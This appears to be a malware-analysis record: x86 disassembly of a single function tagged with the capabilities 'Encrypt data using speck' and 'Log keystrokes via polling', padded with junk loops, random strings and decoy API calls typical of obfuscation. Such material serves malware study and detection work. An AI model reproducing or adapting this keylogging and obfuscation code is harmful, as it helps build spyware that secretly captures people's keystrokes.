Function at 0x1003850b
Capabilities:
Encrypt data using speck
Log keystrokes via polling

Disassembly:
mov eax, 0x1005afa1
call fcn.100595f8
sub esp, 0x14c
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], esi
push edi
mov dword [ebp - 0x10], esp
test dl, dl
je 0x1003860a
cmp byte [ebp + 0x18], 0
je 0x10038600
sub esp, 0x18
mov ecx, esp
push dword [ebp + 0x14]
call fcn.1000e100
lea ecx, [ebp - 0x6c]
call fcn.10037fdd
add esp, 0x18
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x6c], eax
je 0x100385c4
push dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0xd4], 7
push eax
push dword [ebp - 0x6c]
mov word [ebp - 0xe8], cx
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xd8], ebx
call fcn.100275aa
mov ecx, dword [ebp + 0x1c]
lea edx, [ebp - 0xe8]
mov byte [ebp - 4], 1
call fcn.100384c1
lea ecx, [ebp - 0xe8]
push ebx
push 1
test eax, eax
jns 0x100385bc
mov byte [esi], 1
call fcn.1000ec4b
lea ecx, [ebp - 0x6c]
call fcn.10014f50
jmp 0x10038d21
mov byte [ebp - 4], bl
call fcn.1000ec4b
mov dword [ebp - 0x1c], 0x3782
cmp dword [ebp - 0x1c], 0x390c
jle 0x100385fc
mov esi, ebx
mov edi, esi
mov ebx, 0x4d42
mov eax, edi
mov ecx, 0x10075878
cdq
push edx
push eax
call fcn.1000dfeb
dec edi
dec ebx
jne 0x100385dd
inc esi
cmp esi, 0x6210
jl 0x100385d6
mov esi, dword [ebp - 0x14]
mov byte [esi], bl
jmp 0x100385af
mov eax, dword [ebp + 8]
dec dword [eax]
jmp 0x10038d21
cmp byte [ebp + 0x20], 0
je 0x10038622
push 0x28e
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
jmp 0x10038d21
mov esi, dword [ebp + 0x10]
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0x1936
cmp dword [ebp - 0x1c], 0x1a38
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x28], eax
jle 0x100386a9
push ebx
call dword [sym.imp.USER32.dll_SetCursor]
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov eax, edi
mov ebx, esi
cdq
mov esi, 0x51b8
idiv ecx
sub ebx, edx
mov eax, ebx
mov ecx, 0x10075878
cdq
push edx
push eax
call fcn.1000dfeb
inc ebx
dec esi
jne 0x10038661
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x4a1f
jl 0x10038653
inc edi
push 0
pop ebx
cmp edi, 0x3099
jl 0x1003864e
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x54d4
jl 0x1003864c
push 0xdc7
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x6022
push 1
push ebx
push 0x6b92
xor dl, dl
mov ecx, 0x7162
call fcn.10037dac
add esp, 0x10
lea ecx, [ebp - 0x9c]
push dword [ebp + 0x24]
call fcn.1000e100
mov dword [ebp - 4], 4
lea ecx, [ebp - 0xd0]
push 3
mov dword [ebp - 0x14], 0xb9f9b319
pop esi
mov dword [ebp - 0x60], 0xbf506e60
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x34], 0x3e93
mov dword [ebp - 0x5c], esi
push 2
call fcn.1000e2bc
mov byte [ebp - 4], 5
mov dword [ebp - 0x50], 0xe6c1
mov dword [ebp - 0x78], 0xb389e767
mov dword [ebp - 0x18], ebx
jmp 0x1003872f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd0]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003871c
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0xfffffff0
jge 0x10038857
mov dword [ebp - 0x70], 0x8d13
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x18], 0x27b5
cmp dword [ebp - 0x18], 0x2b3e
jle 0x100387a5
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x140]
push edx
push eax
call fcn.10001a8f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003877b
mov eax, dword [eax]
push eax
call fcn.10041543
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x140]
call fcn.1000ea77
inc edi
cmp edi, 0x725b
jl 0x10038760
inc esi
cmp esi, 0x1322
jl 0x1003875e
push 3
pop esi
mov dword [ebp - 0x54], 0xffffffff
cmp dword [ebp - 0x18], 0x2753
jge 0x100387c0
push str.ohv_sbgookl_hkjnorf_zljhla_vdiilctv_lcivntyzm
call fcn.10041543
pop ecx
push esi
lea ecx, [ebp - 0xb8]
mov dword [ebp - 4], 5
call fcn.1000e2bc
mov byte [ebp - 4], 8
mov dword [ebp - 0x74], 0xc458
mov dword [ebp - 0x18], ebx
jmp 0x100387f6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100387e3
lea eax, [ebp - 0x34]
inc dword [ebp - 0x34]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0xb8]
push eax
push 0xbf0
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x50]
call fcn.10037945
add esp, 0x30
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xb8]
call fcn.1000e33f
dec dword [ebp - 0x14]
jmp 0x10038738
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 4
call fcn.1000e33f
push ecx
push dword [ebp + 0x10]
lea ecx, [ebp - 0x9c]
call fcn.1003abd4
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x2c], 0x8c08872f
mov eax, 0xcefbde28
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0xaa53f0d3
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
push 1
call fcn.1000e2bc
mov byte [ebp - 4], 9
mov dword [ebp - 0x30], ebx
jmp 0x100388d1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xf8], 0xc0e2632c
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x100388c0
sub esp, 0xc
lea eax, [ebp - 0xc4]
xor dl, dl
lea ecx, [ebp - 0x30]
push eax
push 0x36e6
call fcn.10037b64
mov eax, dword [ebp - 0x18]
add esp, 0x14
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
je 0x10038907
cmp dword [ebp - 0x18], ebx
je 0x10038907
xor eax, eax
inc eax
jmp 0x10038909
mov eax, ebx
mov dword [ebp - 0x14], eax
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setge dl
cmp edx, 0xe0fc36fe
jb 0x1003892d
mov dword [ebp - 0xf4], 1
jmp 0x10038933
mov dword [ebp - 0xf4], ebx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xa4]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0xa8], ecx
test ecx, ecx
jne 0x1003895f
cmp dword [ebp - 0xf4], ebx
jne 0x1003895f
mov eax, ebx
jmp 0x10038962
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x2c]
jne 0x10038971
cmp dword [ebp - 0x14], ebx
je 0x10038971
xor ecx, ecx
inc ecx
jmp 0x10038973
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2c]
sub ecx, eax
mov eax, dword [ebp - 0xc4]
sub ecx, 0x6e483bbb
push ecx
mov dword [eax], ecx
call fcn.10037d92
pop ecx
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 4
call fcn.1000e33f
cmp dword [ebp - 0x20], 0xffffffff
je 0x10038ae8
mov dword [ebp - 0x14], 0x26b0
cmp dword [ebp - 0x14], 0x287f
jle 0x10038a12
push ebx
push 0x1039
call dword [sym.imp.USER32.dll_RemovePropA]
mov esi, ebx
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x110]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a8f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100389e8
mov eax, dword [eax]
push eax
call fcn.10041543
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x110]
call fcn.1000ea77
inc edi
cmp edi, 0x505d
jl 0x100389c9
inc esi
cmp esi, 0x3d7c
jl 0x100389c7
push 3
pop esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x14], 0x2357
jge 0x10038a32
push str.lpacgxjy_nqauy_fchtd_mnivmhhqo_tzwoub
call fcn.10041543
pop ecx
mov dword [ebp - 4], 4
mov dword [ebp - 0x1c], 0x6f1860ec
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x18], ebx
jmp 0x10038a60
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10038a53
mov dword [ebp - 0x38], ebx
jmp 0x10038a79
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x84], ebx
jne 0x10038a7f
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x10038a6a
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x20]
add ecx, 0x7349980b
inc eax
push eax
push ebx
lea eax, [ebp - 0x128]
mov dword [ebp - 0x44], ecx
push eax
lea ecx, [ebp - 0x9c]
call fcn.1003ac5a
push eax
lea ecx, [ebp - 0x9c]
call fcn.1000e13b
push ebx
push 1
lea ecx, [ebp - 0x128]
call fcn.1000ec4b
mov dword [ebp - 0x14], 0x76820624
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0x1b
jl 0x10038bc9
mov byte [ebp - 0x22], bl
cmp byte [ebp - 0x22], 0
je 0x10038b90
mov dword [ebp - 0x1c], 0x4092
cmp dword [ebp - 0x1c], 0x411c
jle 0x10038b5c
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov ecx, 0x10075878
xor eax, esi
xor eax, edi
cdq
push edx
push eax
call fcn.1000dfeb
inc ebx
cmp ebx, 0x3037
jl 0x10038b24
inc esi
push 0
pop ebx
cmp esi, 0x3ea5
jl 0x10038b21
inc edi
cmp edi, 0x3527
jl 0x10038b1f
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ecx
mov edx, 0x1fe8
mov ecx, 0x45cc
call fcn.100396da
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1c], 0x3dac
pop ecx
jge 0x10038b89
mov edx, str.zuvynrn_htwily_rjqcen_jrjvlebku_mhy_dnxtj_daageebfw
mov ecx, 0x10075878
call fcn.10010d3e
mov dword [ebp - 4], 4
inc dword [ebp - 0x14]
jmp 0x10038af6
push 0xeef
push 0x7c88
push ebx
push ecx
mov ecx, 0x4643
call fcn.1003782c
mov dword [ebp - 0x18], 0x250f
add esp, 0x10
cmp dword [ebp - 0x18], 0x27b5
jle 0x10038c8b
push ebx
push 0x109e
push ebx
push 0x105a
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
lea ecx, [esi + edi]
mov dword [ebp - 0x28], ebx
mov esi, eax
mov edi, ebx
shl esi, cl
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x158]
cdq
push edx
push eax
call fcn.10001a8f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038c41
mov eax, dword [eax]
push eax
call fcn.10041543
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x158]
call fcn.1000ea77
inc edi
cmp edi, 0x2366
jl 0x10038c23
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
inc esi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], esi
cmp esi, 0x5ff
jl 0x10038c17
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x586f
jl 0x10038c12
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x5ac0
jl 0x10038c0d
push ecx
push dword [ebp + 0x10]
lea ecx, [ebp - 0x9c]
call fcn.1003ab50
cmp dword [ebp - 0x18], 0x2177
mov dword [ebp - 0x20], eax
jge 0x10038cb1
push str.xkload_rdoajjd_psgz_gkgyzjr_bxsvtpcb_ymmn
call fcn.10041543
pop ecx
mov dword [ebp - 4], 4
xor dl, dl
mov dword [ebp - 0x28], 6
push ecx
call fcn.1003971b
pop ecx
lea eax, [ebp - 0x21]
mov byte [ebp - 0x21], bl
push eax
push ecx
call fcn.1003815e
cmp dword [ebp - 0x20], 0xffffffff
pop ecx
pop ecx
je 0x10038cfb
xor dl, dl
mov ecx, 0x5ce4
call fcn.10038345
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1003a09e
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x9c]
cmp eax, ecx
je 0x10038d13
push 0xffffffffffffffff
push ebx
push ecx
mov ecx, eax
call fcn.1000eb09
push ebx
push 1
lea ecx, [ebp - 0x9c]
call fcn.1000ec4b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret